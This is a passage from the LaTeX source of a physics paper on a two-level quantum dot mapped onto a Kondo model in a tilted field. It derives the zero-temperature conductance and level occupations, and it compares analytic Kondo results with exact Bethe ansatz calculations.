the initial condition of Eq.~(\ref{h_z-tilde}). Since the
running coupling $\tilde{J}_z$ is a slowly varying function of
$l$ in the range where
Eqs.~(\ref{scaling-J_z})--(\ref{scaling-h_z}) apply, it can be
replaced for all practical purposes by its bare value in
Eq.~(\ref{scaling-h_z}). Straightforward integration of
Eq.~(\ref{scaling-h_z}) then yields
\begin{eqnarray}
h_{\text{tot}}^{z} &=&
h \cos \theta +
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}
{\pi}
\ln \frac{U + \epsilon_0}{|\epsilon_0|}
\nonumber\\
&+& 3 \ln(2) \, D_0
\frac{\Gamma^2_{\uparrow}-\Gamma^2_{\downarrow}}
{\pi^2} \times
\frac{U (U + 2 \epsilon_0)}
{(U + \epsilon_0)^2 \epsilon_0^2} \, ,
\label{h-total}
\end{eqnarray}
where we have used Eqs.~(\ref{J-z})--(\ref{v-pm}) for $J_z$,
$v_{\rm sc}$, and $v_{\pm}$. Note that the third term on the
right-hand side of Eq.~(\ref{h-total}) is generally much
smaller than the first two terms, and can typically be
neglected.
To conclude this section, we have shown that the Hamiltonian of
Eq.~(\ref{eq:Hand}), and thus that of Eq.~(\ref{IHAM}), is
equivalent at sufficiently low temperature and fields to the
ordinary \emph{isotropic} Kondo model with a tilted magnetic
field, provided that $\Gamma_{\uparrow}, \Gamma_{\downarrow}
\ll |\epsilon_0|, U + \epsilon_0$. The relevant Kondo
temperature is approximately given by
Eq.~(\ref{scaling-T_K-2}), while the components of
$\vec{h}_{\text{tot}} = h^x_{\text{tot}}\, \hat{x} +
h^z_{\text{tot}}\, \hat{z}$ are given by $h^x_{\text{tot}} = h
\sin \theta$ and Eq.~(\ref{h-total}).
\section{Physical observables
\label{sec:observables}}
Having established the intimate connection between the
generalized Anderson Hamiltonian, Eq.~(\ref{eq:Hand}), and the
standard Kondo model with a tilted magnetic field, we now
employ well-known results of the latter model in order to
obtain a unified picture for the conductance and the occupation
of the levels of our original model, Eq.~(\ref{IHAM}). The
analysis extends over a rather broad range of parameters. For
example, when $U + 2\epsilon_0 = 0$, then the sole requirement
for the applicability of our results is for $\sqrt{\Delta^2 +
b^2}$ to be small. The tunnelling matrix $\hat{A}$ can be
practically arbitrary as long as the system lies deep in the
local-moment regime. The further one departs from the middle of
the Coulomb-blockade valley the more restrictive the condition
on $\hat{A}$ becomes in order for $\vec{h}_{\rm tot}$ to stay
small. Still, our approach is applicable over a surprisingly
broad range of parameters, as demonstrated below. Unless stated
otherwise, our discussion is restricted to zero temperature.
\subsection{Conductance}
At zero temperature, a local Fermi liquid is formed in the
Kondo model. Only elastic scattering takes place at the Fermi
energy, characterized by the scattering phase shifts for the
two appropriate conduction-electron modes. For a finite
magnetic field $h$ in the $z$-direction, single-particle
scattering is diagonal in the spin index. The corresponding
phase shifts, $\delta_{\uparrow}(h)$ and
$\delta_{\downarrow}(h)$, are given by the Friedel-Langreth
sum rule,~\cite{Langreth66,Comment-on-Langreth}
$\delta_{\sigma}(h) = \pi \qav{n_{\sigma}}$, which when applied
to the local-moment regime takes the form
\begin{equation}
\delta_{\sigma}(h) = \frac{\pi}{2} + \sigma \pi M(h) \, .
\label{phase-shift-1}
\end{equation}
Here $M(h)$ is the spin magnetization, which
reduces~\cite{Comment-on-M_K} in the scaling
regime to a universal function of $h/T_K$,
\begin{equation}
\label{eq:MhUniversal}
M(h) = M_K(h/T_K) \, .
\end{equation}
Thus, Eq.~(\ref{phase-shift-1}) becomes
$\delta_{\sigma}(h) = \pi/2 + \sigma \pi M_K(h/T_K)$,
where $M_K(h/T_K)$ is given by Eq.~(\ref{eq:MKfullWiegmann})
To apply these results to the problem at hand, one first needs
to realign the tilted field along the $z$ axis. This is
achieved by a simple rotation of the different operators about
the $y$ axis. Writing the field $\vec{h}_{\text{tot}}$ in the
polar form
\begin{align}
\label{eq:htotExplicit}
\vec{h}_{\text{tot}} & \equiv h_{\text{tot}}
\left (
\sin \theta_h \hat{x} +
\cos \theta_h \hat{z}
\right ) \nonumber\\
& \approx h \sin \theta \, \hat{x} +
\left ( h \cos \theta +
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}
{\pi}
\ln \frac{U + \epsilon_0}{|\epsilon_0|}
\right ) \hat{z} \, ,
\end{align}
the lead and the dot operators are rotated according to
\begin{equation}
\left [
\begin{array}{c}
\tilde{c}_{k\uparrow} \\
\tilde{c}_{k\downarrow}
\end{array}
\right ] = R_{h} \cdot
\left [
\begin{array}{c}
c_{k\uparrow} \\ c_{k\downarrow}
\end{array}
\right ] = R_{h} R_{l} \cdot
\left [
\begin{array}{c}
c_{kL} \\ c_{kR}
\end{array}
\right ]
\end{equation}
and
\begin{equation}
\left [
\begin{array}{c}
\tilde{d}_{\uparrow} \\
\tilde{d}_{\downarrow}
\end{array}
\right ] = R_{h} \cdot
\left [
\begin{array}{c}
d_{\uparrow} \\ d_{\downarrow}
\end{array}
\right ] = R_h R_{d} \cdot
\left [
\begin{array}{c}
d_{1} \\ d_{2}
\end{array}
\right ]\ , \label{eq:RhRddef}
\end{equation}
with
\begin{equation}
R_{h} = e^{i (\theta_h/2) \tau_y} =
\left [
\begin{array}{cc}
\ \ \cos (\theta_h/2) &\
\sin (\theta_h/2) \\
- \sin (\theta_h/2) &\
\cos (\theta_h/2)
\end{array}
\right ] \, . \label{eq:Rhdef}
\end{equation}
Here $R_{l}$ and $R_{d}$ are the unitary matrices used in
Eq.~(\ref{eq:SVDdef}) to independently rotate the lead and the
dot operators. Note that since $\sin \theta \ge 0 $, the range
of $\theta_h$ is $\theta_h \in [0; \pi]$.
The new dot and lead degrees of freedom have their spins
aligned either parallel ($\tilde{d}_{\uparrow}$ and
$\tilde{c}_{k \uparrow}$) or antiparallel
($\tilde{d}_{\downarrow}$ and $\tilde{c}_{k \downarrow}$) to
the field $\vec{h}_{\text{tot}}$. In this basis the
single-particle scattering matrix is diagonal,
\begin{equation}
\tilde{S} =
- \left [
\begin{array}{cc}
e^{i 2 \pi M_K(h_{\text{tot}}/T_K)} &
0 \\
0 &
e^{-i 2 \pi M_K(h_{\text{tot}}/T_K)}
\end{array}
\right ] \, .
\label{Scatt-mat-hat}
\end{equation}
The conversion back to the original basis set of left- and
right-lead electrons is straightforward,
\begin{equation}
S = R^{\dagger}_{l} R^{\dagger}_{h} \tilde{S}
R_{h}^{} R_{l}^{} \equiv
\left [
\begin{array}{cc}
r & t' \\
t & r'
\end{array}
\right ] \, ,
\label{Scatt-mat}
\end{equation}
providing us with the zero-temperature conductance
$G = (e^2/2 \pi \hbar) |t|^2$.
Equations~(\ref{Scatt-mat-hat}) and (\ref{Scatt-mat})
were derived employing the mapping of Eq.~(\ref{IHAM})
onto an effective isotropic Kondo model with a tilted
magnetic field, in the $v_{\rm sc}, v_{\pm} \to 0$
limit. Within this framework, Eqs.~(\ref{Scatt-mat-hat})
and (\ref{Scatt-mat}) are exact in the scaling regime,
$T_K/D_0 \ll 1$. The extent to which these equations
are indeed valid can be appreciated by considering the special case
$h \sin \theta = 0$, for which there exists an exact (and
independent) solution for the scattering matrix $S$ in terms of the
dot ``magnetization'' $M = \langle n_{\uparrow} - n_{\downarrow}
\rangle/2$ [see Eq.~(\ref{Scatt-mat-Langreth}) below]. That
solution, which is based on the Friedel-Langreth sum
rule~\cite{Langreth66} applied directly to a spin-conserving
Anderson model, reproduces Eqs.~(\ref{Scatt-mat-hat}) and
(\ref{Scatt-mat}) in the Kondo regime.
\subsubsection{Zero Aharonov-Bohm fluxes}
Of particular interest is the case where no Aharonov-Bohm
fluxes are present, where further analytic progress can
be made. For $\varphi_L = \varphi_R = 0$, the parameters
that appear in the Hamiltonian of Eq.~(\ref{IHAM}) are
all real. Consequently, the rotation matrices $R_{d}$
and $R_{l}$ acquire the simplified forms given by
Eqs.~\eqref{R_d-no-AB} and \eqref{R_l-no-AB}
(see Appendix~\ref{App:SVDdetails} for details). Under
these circumstances, the matrix product $R_{h} R_{l}$
becomes $\pm e^{i \tau_y (\theta_h + s_R \, \theta_l)/2}
e^{i \pi \tau_z (1 - s_R)/4}$, and the elements of the
scattering matrix [see Eq.~(\ref{Scatt-mat})] are
\begin{align}
t = t' =& - i \sin[2\pi M_K(h_{\text{tot}}/T_K)]
\sin (\theta_l + s_R \theta_h) \ ,
\nonumber\\
r = (r')^{\ast} =&
- \cos[2\pi M_K(h_{\text{tot}}/T_K)]
\nonumber\\
&- i \sin[2\pi M_K(h_{\text{tot}}/T_K)]
\cos (\theta_l + s_R \theta_h) \ .
\end{align}
Hence, the conductance is
\begin{align}
G = \frac{e^2}{2 \pi \hbar}
\sin^2[2\pi M_K(h_{\text{tot}}/T_K)]
\sin^2(\theta_l + s_R \theta_h) \, ,
\label{G-no-flux}
\end{align}
where the sign $s_R$ and angle $\theta_l$ are given by
Eqs.~\eqref{eq:sR} and \eqref{eq:theta-no-AB}, respectively.
All dependencies of the conductance on the original model
parameters that enter Eq.~(\ref{IHAM}) are combined in
Eq.~(\ref{G-no-flux}) into two variables alone, $\theta_l + s_R
\theta_h$ and the reduced field $h_{\text{tot}}/T_K$. In
particular, $\theta_l$ is determined exclusively by the
tunnelling matrix $\hat{A}$, while $s_R$ depends additionally
on the two dot parameters $\Delta$ and $b$.
The conditions for a phase lapse to occur are particularly
transparent from Eq.~(\ref{G-no-flux}). These lapses correspond
to zeroes of $t$, and, in turn, of the conductance. There are
two possibilities for $G$ to vanish: either $h_{\text{tot}}$ is
zero, or $\theta_l + s_R \theta_h$ equals an integer multiple
of $\pi$. For example, when the Hamiltonian of
Eq.~(\ref{eq:Hand}) is invariant under the particle-hole
transformation $d_{\sigma} \to d_{\sigma}^{\dagger}$ and $c_{k
\sigma} \to -c_{k \sigma}^{\dagger}$ (which happens to be the
case whenever $\sqrt{ \Delta^2 + b^2} = 0$ and $U + 2\epsilon_0
= 0$), then $h_{\text{tot}}$ vanishes, and consequently the
conductance vanishes as well. A detailed discussion of the
ramifications of Eq.~(\ref{G-no-flux}) is held in
Sec.~\ref{sec:ResultsAnisotropic} below.
\subsubsection{Parallel-field configuration}
For $h \sin \theta = 0$, spin is conserved by the
Hamiltonian of Eq.~(\ref{eq:Hand}). We refer to this
case as the ``parallel-field'' configuration, since the
magnetic field is aligned with the anisotropy axis $z$.
For a parallel field, one can easily generalize the
Friedel-Langreth sum rule~\cite{Langreth66} to the
Hamiltonian of Eq.~(\ref{eq:Hand}).~\cite{MartinekNRGferro}
Apart from the need to consider
each spin orientation separately, details of the
derivation are identical to those for the ordinary
Anderson model,~\cite{Langreth66} and so is the
formal result for the $T = 0$ scattering phase
shift: $\delta_{\sigma} = \pi \Delta N_{\sigma}$,
where $\Delta N_{\sigma}$ is the number of
displaced electrons in the spin channel $\sigma$.
In the wide-band limit, adopted throughout our
discussion, $\Delta N_{\sigma}$ reduces to the
occupancy of the corresponding dot level,
$\langle n_{\sigma} \rangle$. The exact
single-particle scattering matrix then becomes
\begin{equation}
S = e^{i\pi \langle n_{\uparrow} + n_{\downarrow} \rangle}
R^{\dagger}_{l} \cdot
\left [
\begin{array}{cc}
e^{i 2 \pi M} & 0 \\
0 & e^{-i 2 \pi M}
\end{array}
\right ] \cdot R_{l} \, ,
\label{Scatt-mat-Langreth}
\end{equation}
where $M = \langle n_{\uparrow}-n_{\downarrow} \rangle/2$
is the dot ``magnetization.''
Equation~(\ref{Scatt-mat-Langreth}) is quite general. It covers
all physical regimes of the dot, whether empty, singly occupied
or doubly occupied, and extends to arbitrary fluxes $\varphi_L$
and $\varphi_R$. Although formally exact, it does not specify
how the dot ``magnetization'' $M$ and the total dot occupancy
$\langle n_{\uparrow} + n_{\downarrow} \rangle$ relate to the
microscopic model parameters that appear in
Eq.~(\ref{eq:Hand}). Such information requires an explicit
solution for these quantities. In the Kondo regime considered
above, $\langle n_{\uparrow} + n_{\downarrow} \rangle$ is
reduced to one and $M$ is replaced by $\pm
M_K(h_{\text{tot}}/T_K)$. Here the sign depends on whether the
field $\vec{h}_{\text{tot}}$ is parallel or antiparallel to the
$z$ axis (recall that $h_{\text{tot}} \ge 0$ by definition). As
a result, Eq.~(\ref{Scatt-mat-Langreth}) reproduces
Eqs.~(\ref{Scatt-mat-hat})--(\ref{Scatt-mat}).
To carry out the rotation in Eq.~(\ref{Scatt-mat-Langreth}), we
rewrite it in the form
\begin{equation}
S = e^{i\pi \langle n_{\uparrow} + n_{\downarrow} \rangle}
R^{\dagger}_{l}
\left [
\cos (2 \pi M) + i\sin (2 \pi M) \tau_z
\right ]
R_{l} \, .
\end{equation}
Using the general form of Eq.~(\ref{eq:phasel}) for the
rotation matrix $R_{l}$, the single-particle scattering matrix
is written as $S = e^{i\pi \langle n_{\uparrow} +
n_{\downarrow} \rangle} \bar{S}$, where
\begin{eqnarray}
\bar{S} &=& \cos (2 \pi M)
+ i \sin (2 \pi M) \cos \theta_l\, \tau_z
\nonumber \\
&+&
i \sin (2 \pi M) \sin \theta_l
\left [
\cos \phi_l\, \tau_x + \sin \phi_l\, \tau_y
\right ] \, .
\end{eqnarray}
The zero-temperature conductance,
$G = (e^2/2 \pi \hbar)|t|^2$, takes then the exact form
\begin{equation}
G = \frac{e^2}{2 \pi \hbar}
\sin^2(2\pi M) \sin^2 \theta_l \, .
\label{G-parallel-field}
\end{equation}
Two distinct properties of the conductance are apparent form
Eq.~(\ref{G-parallel-field}). Firstly, $G$ is bounded by
$\sin^2 \theta_l $ times the conductance quantum unit $e^2/2
\pi \hbar$. Unless $\theta_{l}$ happens to equal $\pm \pi/2$,
the maximal conductance is smaller than $e^2/2 \pi \hbar$.
Secondly, $G$ vanishes for $M = 0$ and is maximal for $M = \pm
1/4$. Consequently, when $M$ is tuned from $M \approx -1/2$ to
$M \approx 1/2$ by varying an appropriate control parameter
(for example, $\epsilon_0$ when $\Gamma_{\uparrow} \gg
\Gamma_{\downarrow}$), then $G$ is peaked at the points where
$M = \pm 1/4$. In the Kondo regime, when $M \to \pm
M_K(h_{\text{tot}}/T_K)$, this condition is satisfied for
$h_{\text{tot}} \approx 2.4 T_K$. As we show in
Sec.~\ref{sec:ResultsAnisotropic}, this is the physical origin
of the correlation-induced peaks reported by Meden and
Marquardt.~\cite{Meden06PRL} Note that for a given fixed
tunnelling matrix $\hat{A}$ in the parallel-field
configuration, the condition for a phase lapse to occur is
simply for $M$ to vanish.
\subsection{Occupation of the dot levels}
Similar to the zero-temperature conductance, one can exploit
exact results of the standard Kondo model to obtain the
occupation of the levels at low temperatures and fields.
Defining the two reduced density matrices
\begin{equation}
O_d =
\begin{bmatrix}
\langle d^{\dagger}_1 d^{}_1 \rangle &
\langle d^{\dagger}_2 d^{}_1 \rangle \\
\langle d^{\dagger}_1 d^{}_2 \rangle &
\langle d^{\dagger}_2 d^{}_2 \rangle
\end{bmatrix}
\end{equation}
and
\begin{equation}
\tilde{O}_d =
\begin{bmatrix}
\langle
\tilde{d}^{\dagger}_{\uparrow}
\tilde{d}^{}_{\uparrow}
\rangle &
\langle
\tilde{d}^{\dagger}_{\downarrow}
\tilde{d}^{}_{\uparrow}
\rangle \\
\langle
\tilde{d}^{\dagger}_{\uparrow}
\tilde{d}^{}_{\downarrow}
\rangle &
\langle
\tilde{d}^{\dagger}_{\downarrow}
\tilde{d}^{}_{\downarrow}
\rangle
\end{bmatrix}
\, ,
\end{equation}
these are related through
\begin{equation}
O_d^{} = R^{\dagger}_{d} R^{\dagger}_{h} \tilde{O}_d^{}
R^{}_{h} R^{}_{d} \, .
\label{O_d-via-t-O_d}
\end{equation}
Here $R_{h} R_{d}$ is the overall rotation matrix pertaining to
the dot degrees of freedom, see Eq.~\eqref{eq:RhRddef}.
At low temperatures, the mapping onto an isotropic Kondo model
implies
\begin{equation}
\tilde{O}_d = \begin{bmatrix}
\qav{\tilde{n}_{\uparrow}} & 0 \\
0 & \qav{\tilde{n}_{\downarrow}} \\
\end{bmatrix} \, ,
\label{t-O_d}
\end{equation}
where
\begin{equation}
\qav{\tilde{n}_{\sigma}} = n_{\text{tot}}/2 +
\sigma \tilde{M} \, .
\label{eq:ntildeseparated}
\end{equation}
Here we have formally separated the occupancies
$\qav{\tilde{n}_{\sigma}}$ into the sum of a spin component and
a charge component. The spin component involves the
magnetization $\tilde{M}$ along the direction of the total
effective field $\vec{h}_{\text{tot}}$. The latter is well
described by the universal magnetization curve
$M_K(h_{\text{tot}}/T_K)$ of the Kondo model [see
Eq.~\eqref{eq:MKfullWiegmann}]. As for the total dot occupancy
$n_{\text{tot}}$, deep in the local-moment regime charge
fluctuations are mostly quenched at low temperatures, resulting
in the near integer valance $n_{\text{tot}} \approx 1$. One can
slightly improve on this estimate of $n_{\text{tot}}$ by
resorting to first-order perturbation theory in
$\Gamma_{\sigma}$ (and zeroth order in $h$):
\begin{align}
n_{\text{tot}} & \approx
1 + \frac{\Gamma_{\uparrow} +\Gamma_{\downarrow}}{2 \pi}
\left (
\frac{1}{\epsilon_0}+\frac{1}{U+\epsilon_0}
\right )
= 1 -2 \rho v_{+} \, .
\label{eq:n0PT}
\end{align}
This low-order process does not enter the Kondo
effect, and is not contained in
$M_K(h_{\text{tot}}/T_K)$.~\cite{Comment-on-charge-fluc}
With the above approximations, the combination of
Eqs.~(\ref{O_d-via-t-O_d}) and (\ref{t-O_d}) yields
a general formula for the reduced density matrix
\begin{equation}
O_d = n_{\text{tot}}/2 + M_K(h_{\rm tot}/T_K)
R^{\dagger}_{d} R^{\dagger}_{h}
\tau_z R^{}_{h} R^{}_{d} \, .
\label{O_d-general}
\end{equation}
\subsubsection{Zero Aharonov-Bohm fluxes}
As in the case of the conductance, Eq.~(\ref{O_d-general})
considerably simplifies in the absence of Aharonov-Bohm
fluxes, when the combined rotation $R_{h} R_{d}$ equals
$(s_R s_{\theta})^{1/2} e^{i \tau_y (\theta_h +
s_{\theta} \theta_d)/2} e^{i \pi \tau_z (1 - s_{\theta})/4}$
[see Eqs.~\eqref{eq:Rhdef} and \eqref{R_d-no-AB}].
Explicitly, Eq.~(\ref{O_d-general}) becomes
\begin{eqnarray}
O_d = n_{\text{tot}}/2 &+&
M_K(h_{\rm tot}/T_K)
\cos (\theta_d + s_{\theta} \theta_h) \tau_z
\nonumber \\
&+& M_K(h_{\rm tot}/T_K)
\sin (\theta_d + s_{\theta} \theta_h) \tau_x \, ,
\label{O_d-no-flux}
\end{eqnarray}
where the sign $s_{\theta}$ and angle $\theta_d$ are given
by Eqs.~\eqref{eq:stheta} and \eqref{eq:theta-no-AB},
respectively.
Several observations are apparent from Eq.~(\ref{O_d-no-flux}).
Firstly, when written in the original ``spin'' basis
$d^{\dagger}_1$ and $d^{\dagger}_2$, the reduced density matrix
$O_d$ contains the off-diagonal matrix element $M_K(h_{\rm
tot}/T_K) \sin (\theta_d + s_{\theta} \theta_h)$. The latter
reflects the fact that the original ``spin'' states are
inclined with respect to the anisotropy axis dynamically
selected by the system. Secondly, similar to the conductance of
Eq.~(\ref{G-no-flux}), $O_{d}$ depends on two variables alone:
$\theta_d + s_{\theta} \theta_h$ and the reduced field
$h_{\text{tot}}/T_K$. Here, again, the angle $\theta_d$ depends
solely on the tunnelling matrix $\hat{A}$, while the sign
$s_{\theta}$ depends additionally on $\Delta$ and $b$. Thirdly,
the original levels $d^{\dagger}_1$ and $d^{\dagger}_2$ have
the occupation numbers
\begin{subequations}
\label{eq:Actualn1n2}
\begin{align}
\qav{n_1} &=
n_{\text{tot}}/2 + M_K(h_{\text{tot}}/T_K)
\cos (\theta_d + s_{\theta} \theta_h) \, , \\
\qav{n_2} &=
n_{\text{tot}}/2 - M_K(h_{\text{tot}}/T_K)
\cos (\theta_d + s_{\theta} \theta_h) \, .
\end{align}
\end{subequations}
In particular, equal populations $\langle n_1 \rangle = \langle
n_2 \rangle$ are found if either $h_{\text{tot}}$ is zero or if
$\theta_d +s_{\theta} \theta_d$ equals $\pi/2$ up to an integer
multiple of $\pi$. This provides one with a clear criterion for
the occurrence of population
inversion,~\cite{Gefen04,Sindel05,Silvestrov00} i.e., the
crossover from $\qav{n_1} > \qav{ n_2}$ to
$\qav{n_2} > \qav{n_1}$ or vice versa.
\subsubsection{Parallel-field configuration}
\label{sec:occupany-PF}
In the parallel-field configuration, the angle $\theta_h$ is
either zero or $\pi$, depending on whether the magnetic field
$\vec{h}_{\text{tot}}$ is parallel or antiparallel to the $z$
axis (recall that $h \sin \theta = h_{\text{tot}} \sin
\theta_h=0$ in this case). The occupancies $\langle n_1
\rangle$ and $\langle n_2 \rangle$ acquire the exact
representation
\begin{subequations}
\label{eq:Actualn1n2-PF}
\begin{align}
\langle n_1 \rangle &=
n_{\text{tot}}/2 + M \cos \theta_d \, , \\
\langle n_2 \rangle &=
n_{\text{tot}}/2 - M \cos \theta_d \, ,
\end{align}
\end{subequations}
where $n_{\text{tot}}$ is the exact total occupancy of the dot
and $M = \langle n_{\uparrow} - n_{\downarrow} \rangle/2$ is
the dot ``magnetization,'' defined and used previously (not to
be confused with $\tilde{M} = \pm M$). As with the conductance,
Eqs.~(\ref{eq:Actualn1n2-PF}) encompass all regimes of the dot,
and extend to arbitrary Aharonov-Bohm fluxes. They properly
reduce to Eqs.~(\ref{eq:Actualn1n2}) in the Kondo regime, when
$n_{\text{tot}} \approx 1$ [see Eq.~\eqref{eq:n0PT}] and $M \to
\pm M_K(h_{\text{tot}}/T_K)$. [Note that Eqs.~(\ref{eq:Actualn1n2})
have been derived for zero Aharonov-Bohm fluxes.]
One particularly revealing observation that follows from
Eqs.~(\ref{eq:Actualn1n2-PF}) concerns the connection between
the phenomena of population inversion and phase lapses in the
parallel-field configuration. For a given fixed tunnelling
matrix $\hat{A}$ in the parallel-field configuration, the
condition for a population inversion to occur is identical to
the condition for a phase lapse to occur. Both require that $M
= 0$. Thus, these seemingly unrelated phenomena are synonymous
in the parallel-field configuration. This is not generically
the case when $h_{\text{tot}}^x\neq 0$, as can be seen, for
example, from Eqs.~(\ref{G-no-flux}) and (\ref{eq:Actualn1n2}).
In the absence of Aharonov-Bohm fluxes, the conductance is
proportional to $\sin^2(\theta_l + s_R \theta_h)$. It therefore
vanishes for $h_{\text{tot}}^x\neq 0$ only if $\theta_l + s_R
\theta_h = 0\!\!\mod\!\pi$. By contrast, the difference in
populations $\langle n_1 - n_2 \rangle$ involves the unrelated
factor $\cos (\theta_d + s_{\theta}\theta_h)$, which generally
does not vanish together with $\sin(\theta_l + s_R \theta_h)$.
Another useful result which applies to the parallel-field
configuration is an exact expression for the $T = 0$
conductance in terms of the population difference $\langle n_1
- n_2 \rangle$. It follows from Eqs.~(\ref{eq:Actualn1n2-PF})
that $M = \qav{n_1 - n_2}/( 2 \cos \theta_d)$. Inserting this
relation into Eq.~(\ref{G-parallel-field}) yields
\begin{align}
G = \frac{e^2}{2 \pi \hbar}
\sin^2 \left (
\frac{\pi \langle n_1-n_2 \rangle}
{\cos \theta_d}
\right )
\sin^2 \theta_l \, .
\label{G-parallel}
\end{align}
This expression will be used in Sec.~\ref{sec:results} for
analyzing the conductance in the presence of isotropic
couplings, and for the cases considered by Meden and
Marquardt~\cite{Meden06PRL}.
\section{Results}
\label{sec:results}
Up until this point we have developed a general framework for
describing the local-moment regime in terms of two competing
energy scales, the Kondo temperature $T_K$ and the renormalized
magnetic field $h_{\text{tot}}$. We now turn to explicit
calculations that exemplify these ideas. To this end, we begin
in Sec.~\ref{sec:ResultsIsotropic} with the exactly solvable
case $V_{\uparrow} = V_{\downarrow}$, which corresponds to the
conventional Anderson model in a finite magnetic
field~\cite{Boese01}. Using the exact Bethe \emph{ansatz}
solution of the Anderson model,~\cite{WiegmannA83} we present a
detailed analysis of this special case with three objectives in
mind: (i) to benchmark our general treatment against
rigorous results;
(ii) to follow in great detail the delicate interplay
between the two competing energy scales that
govern the low-energy physics;
(iii) to set the stage for the complete explanation of the
charge oscillations~\cite{Gefen04,Sindel05,Silvestrov00}
and the correlation-induced resonances in the
conductance of this device~\cite{Meden06PRL,Karrasch06}.
We then proceed in Sec.~\ref{sec:ResultsAnisotropic} to the
generic anisotropic case $V_{\uparrow} \neq V_{\downarrow}$. Here
a coherent explanation is provided for the ubiquitous phase
lapses,~\cite{Golosov06} population
inversion,~\cite{Gefen04,Sindel05} and correlation-induced
resonances~\cite{Meden06PRL,Karrasch06} that were reported
recently in various studies of two-level quantum dots. In
particular, we expose the latter resonances as a disguised
Kondo phenomenon. The general formulae of
Sec.~\ref{sec:observables} are quantitatively compared to the
numerical results of Ref.~\onlinecite{Meden06PRL}. The detailed
agreement that is obtained nicely illustrates the power of the
analytical approach put forward in this paper.
\subsection{Exact treatment of $V_{\uparrow}=V_{\downarrow}$}
\label{sec:ResultsIsotropic}
As emphasized in Sec.~\ref{sec:LocalMoment}, all tunnelling
matrices $\hat{A}$ which satisfy Eq.~\eqref{exact-b} give rise
to equal amplitudes $V_{\uparrow} = V_{\downarrow} = V$ within
the Anderson Hamiltonian description of Eq.~\eqref{eq:Hand}.
Given this extra symmetry, one can always choose the unitary
matrices $R_{l}$ and $R_{d}$ in such a way that the magnetic
field $h$ points along the $z$ direction [namely, $\cos \theta
= 1$ in Eq.~\eqref{eq:Hand}]. Perhaps the simplest member in
this class of tunnelling matrices is the case where $a_{L1} =
-a_{L2} = a_{R1} = a_{R2} = V/\sqrt{2}$, $\varphi_L = \varphi_R
= 0$ and $b=0$. One can simply convert the conduction-electron
operators to even and odd combinations of the two leads,
corresponding to choosing $\theta_l = \pi/2 + \theta_d$.
Depending on the sign of $\Delta$, the angle $\theta_d$ is
either zero (for $\Delta < 0$) or $\pi$ (for $\Delta > 0$),
which leaves us with a conventional Anderson impurity in the
presence of the magnetic field $\vec{h} = |\Delta| \, \hat{z}$.
All other rotation angle that appear in Eqs.~\eqref{eq:phased}
and \eqref{eq:phased} (i.e., $\chi$'s and $\phi$'s) are equal
to zero. For concreteness we shall focus hereafter on this
particular case, which represents, up to a simple rotation of
the $d^{\dagger}_{\sigma}$ and $c^{\dagger}_{k \sigma}$
operators, all tunnelling matrices $\hat{A}$ in this category
of interest. Our discussion is restricted to zero temperature.
\subsubsection{Impurity magnetization}
\label{sec:ResTests}
We have solved the exact Bethe \emph{anstaz} equations
numerically using the procedure outlined in
Appendix~\ref{app:Bethe}. Our results for the occupation
numbers $\qav{n_{\sigma}}$ and the magnetization $M =
\qav{n_{\uparrow} - n_{\downarrow}}/2$ are summarized in
Figs.~\ref{fig:MethodCompare} and \ref{fig:LargeFeature}.
Figure~\ref{fig:MethodCompare} shows the magnetization of the
Anderson impurity as a function of the (average) level position
$\epsilon_0$ in a constant magnetic field, $h = \Delta =
10^{-3} U$. The complementary regime $\epsilon_0 < -U/2$ is
obtained by a simple reflection about $\epsilon_0 = -U/2$, as
follows from the particle-hole transformation $d_{\sigma} \to
d_{-\sigma}^{\dagger}$ and $c_{k \sigma} \to -c_{k
-\sigma}^{\dagger}$. The Bethe \emph{ansatz} curve accurately
crosses over from the perturbative domain at large $\epsilon_0
\gg \Gamma$ (when the dot is almost empty) to the local-moment
regime with a fully pronounced Kondo effect (when the dot is
singly occupied). In the latter regime, we find excellent
agreement with the analytical magnetization curve of the Kondo
model, Eq.~\eqref{eq:MKfullWiegmann}, both as a function of
$\epsilon_0$ and as a function of the magnetic field $\Delta$
(lower left inset to Fig.~\ref{fig:MethodCompare}). The
agreement with the universal Kondo curve is in fact quite
surprising in that it extends nearly into the mixed-valent
regime. As a function of field, the Kondo curve of
Eq.~(\ref{eq:MKfullWiegmann}) applies up to fields of the order
of $h \sim \sqrt{\Gamma U} \gg T_K$.
\begin{figure}[t]
\includegraphics[width=7cm]{fig2.eps}
\caption{(Color online) Magnetization of the isotropic
case as a function of $\epsilon_0$: exact Bethe
\emph{ansatz} curve and comparison with different
approximation schemes.
Black symbols show the magnetization $M$
derived from the exact Bethe \emph{ansatz}
equations; the dashed (red) line marks the result
of first-order perturbation theory in $\Gamma$
(Ref.~\onlinecite{Gefen04}, divergent at
$\epsilon_0 = 0$); the thick (blue) line is the
analytical formula for the magnetization in the
Kondo limit, Eq.~\eqref{eq:MKfullWiegmann}, with
$T_K$ given by Eq.~\eqref{eq:TKAndersonAccurate}.
The model parameters are $\Gamma/U = 0.05$,
$\Delta/U = 10^{-3}$ and $T = 0$.
The upper right inset shows the same data but
on a linear scale.
The lower left inset shows the magnetization $M$
as a function of the magnetic field $h = \Delta$
at fixed $\epsilon_0/U = -0.2$. The universal
magnetization curve of the Kondo model well
describes the exact magnetization up to
$M \approx 0.42$ (lower fields not shown),
while first-order perturbation theory in
$\Gamma$ fails from $M \approx 0.46$ downwards.}
\label{fig:MethodCompare}
\end{figure}
\subsubsection{Occupation numbers and charge oscillations}
\label{sec:ResCharging}
\begin{figure}[t]
\includegraphics[width=7.5cm]{fig3.eps}
\caption{(Color online) The occupation numbers $\qav{n_1}$
[solid (blue) lines] and $\qav{n_2}$ [dotted (red)
lines] versus $\epsilon_0$, as obtained from
the solution of the exact Bethe \emph{ansatz}
equations. In going from the inner-most to the
outer-most pairs of curves, the magnetic field
$h = \Delta$ increases by a factor of $10$
between each successive pair of curves, with
the inner-most (outer-most) curves corresponding
to $\Delta/U = 10^{-5}$ ($\Delta/U = 0.1$).
The remaining model parameters are
$\Gamma/U = 0.05$ and $T=0$.
Nonmonotonicities are seen in the process
of charging. These are most pronounced for
intermediate values of the field. The evolution
of the nonmonotonicities with increasing field
is tracked by arrows. The dashed black lines
show the approximate values calculated from
Eqs.~\eqref{eq:Actualn1n2} and (\ref{eq:n0PT})
based on the mapping onto the Kondo Hamiltonian
(here $\theta_h = 0$ and $\theta_d = \pi$).}
\label{fig:LargeFeature}
\end{figure}
Figure~\ref{fig:LargeFeature} displays the individual
occupation numbers $\qav{n_1}$ and $\qav{n_2}$ as a function of
